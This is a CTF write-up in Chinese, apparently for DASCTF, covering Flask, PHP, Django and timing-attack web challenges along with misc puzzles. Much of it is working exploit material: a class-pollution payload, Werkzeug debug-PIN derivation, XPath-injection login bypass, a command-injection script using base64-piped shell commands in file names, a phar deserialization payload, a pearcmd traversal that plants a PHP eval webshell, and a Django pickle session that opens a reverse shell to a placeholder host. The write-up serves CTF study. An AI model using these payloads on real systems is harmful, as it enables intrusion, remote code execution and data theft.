本文最后更新于 539 天前,其中的信息可能已经有所发展或是发生改变。
Web
EzFlask
预期解
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
Python
原型链污染,修改全局变量__file__
{
"username": "test",
"password": "test",
"check": {
"__func__": {
"__globals__": {
"__file__": "secret.py"
}
}
}
}
Response:
black_list = [b'__init__', b'jinja', b'black_list']
- 服务器
flask
开启了DEBUG
,读文件算pin,RCE
/etc/machine
96cec10d3d9307792745ec3b85c89620
# 当 /etc/machine 存在时此条无用
/proc/sys/kernel/random/boot_id
867ab5d2-4e57-4335-811b-2943c662e936
/proc/self/cgroup
12:pids:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
11:devices:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
10:cpuset:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
9:perf_event:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
8:rdma:/
7:blkio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
6:net_cls,net_prio:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
5:memory:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
4:freezer:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
3:cpu,cpuacct:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
2:hugetlb:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
1:name=systemd:/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
0::/kubepods.slice/kubepods-burstable.slice/kubepods-burstable-pod8862dca1_0c70_4ae0_a99e_530b7ec8fa67.slice/docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope
/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
/sys/class/net/eth0/address
f6:96:2c:e1:a0:fc
import hashlib
from itertools import chain
def get_pin_and_cookie_name():
rv = None
num = None
probably_public_bits = [
"root",
"flask.app",
"Flask",
"/usr/local/lib/python3.10/site-packages/flask/app.py",
]
private_bits = [str(int("f6:96:2c:e1:a0:fc".replace(":", ""), 16)),
"96cec10d3d9307792745ec3b85c89620docker-aacd35e49480ecb3b16e4270770ab118163457faf92af7c45df67d74355ac1b8.scope"]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv, cookie_name)
get_pin_and_cookie_name()
- RCE
附加
- 对于过滤,可用
Unicode
绕过- check之后是进行了一次
json.loads
,而json
识别unicode
- check之后是进行了一次
__init__ ==> \u005F\u005F\u0069\u006E\u0069\u0074\u005F
- 非预期
/proc/1/cmdline
/bin/sh -c echo $FLAG > /flag123123_is312312312_here3123213 && export FLAG=not && FLAG=not && python3 app.py
/proc/1/environ
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=outFLAG=DASCTF{5f5bcb19-67cf-4ddc-b528-8344129be70c}KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.240.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1KUBERNETES_SERVICE_HOST=10.240.0.1KUBERNETES_SERVICE_PORT=443LANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DPYTHON_VERSION=3.10.1PYTHON_PIP_VERSION=21.2.4PYTHON_SETUPTOOLS_VERSION=57.5.0PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/3cb8888cc2869620f57d5d2da64da38f516078c7/public/get-pip.pyPYTHON_GET_PIP_SHA256=c518250e91a70d7b20cceb15272209a4ded2a0c263ae5776f129e0d9b5674309FLASK_DEBUG=1HOME=/root
MyPicDisk
一解
- 万能密码登录
admin' or 1=1;#
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>
- 很明显在
class File -> __destruct
存在命令拼接
public function __destruct(){
system("ls -all ".$this->filename);
}
- filename绕过过滤和符合linux命名规则
import requests
import base64
url = "http://7acc99b7-ffce-43c8-855e-f7821bed498d.node4.buuoj.cn:81/"
session = requests.Session()
def execCmd(cmd):
cmd = base64.b64encode(cmd.encode()).decode()
payload = f".;echo {cmd}|base64 -d|sh;echo png"
print(payload)
loginData = {"username": "-1'or 1#", "password": "123", "submit": "submit"}
session.post(url, data=loginData)
session.post(url, files={"file": (payload, "aaa")})
session.post(url, data=loginData)
res = session.get(f"{url}?file={payload}&todo=show")
print(res.text)
if __name__ == "__main__":
execCmd("cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd")
二解
phar反序列化
<?php
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();
ez-cms
- pearcmd path file_path
../../../../../../../usr/share/php/pearcmd&+config-create+/<?=@eval(POST["cmd"]);die()?>+/tmp/test.php
ez_py
- 数据库得到密码
guest/guest
- Django Session pickle 反序列化
# coding: utf-8
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings
settings.configure(SECRET_KEY='p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn')
class GetShellWithPython(object):
def __reduce__(self):
import subprocess
return (subprocess.call,
(['python',
'-c',
'import socket,subprocess,os;'
's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
's.connect(("xxx.xxx.xxx.xxx",xxxx));'
'os.dup2(s.fileno(),0);'
'os.dup2(s.fileno(),1);'
'os.dup2(s.fileno(),2);'
'subprocess.call(["/bin/sh","-i"]);'],))
sess = signing.dumps(
obj=GetShellWithPython(),
serializer=PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies'
)
print(sess)
ez_timing
- 伪造session,secret_key为解出的值
#!/usr/bin/env python
import time
from flask import Flask, session,request
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
FLAG = os.environ["SECRET"]
assert " " not in FLAG
TINY_TIME = 6.114514 * 10 ** -44
@app.route("/")
def index():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!,cancan /file\n'.format(session['user'])
@app.route('/getkey')
def getkey():
if request.method != "GET":
session["key"] = app.config['SECRET_KEY']
else:
return "GET is not allowd\n"
@app.route("/file")
def read():
if session.get('user') != "admin":
return "User not admin! getkey first!\n"
else:
with open(__file__) as f:
return f.read()
@app.route("/<secret>")
def check_flag(secret):
if len(secret) != len(FLAG):
return "WAKUWAKU!"
for a, b in zip(secret, FLAG):
if a == " ":
continue
elif a != b:
return "WRONG!"
else:
time.sleep(TINY_TIME)
if " " in secret:
return "WRONG!"
return "CORRECT!"
- 脚本参考:https://github.com/ConnorNelson/spaceless-spacing/tree/master
- 论文参考:https://tom.vg/papers/timeless-timing-attack_usenix2020.pdf
- 主要原理,通过HTTP2使两次请求同时到达服务器,判断是否延时
- HTTP2 多路复用
Misc
ezFat32
- 空余空间存在hint
The password of the ZIP Archive is the sha256sum of the `ans.bmp`
- 提取出bmp
open('out.bmp','wb').write(open('fs - 副本.img','rb').read()[0x100800:0x100800+3267978])
- password
1bec3826d44f706d33e8cc4bc230d3113d0198261ff1cd251294dbdebabb0af5
Coffee desu!
- 网络协议:https://zh.wikipedia.org/zh-sg/%E8%B6%85%E6%96%87%E6%9C%AC%E5%92%96%E5%95%A1%E5%A3%B6%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE
- 原始协议内容:https://datatracker.ietf.org/doc/html/rfc7168
- 主要参考内容
- 通过BREW请求,添加
milktea
Addition-Type: milktea
- GET获取flag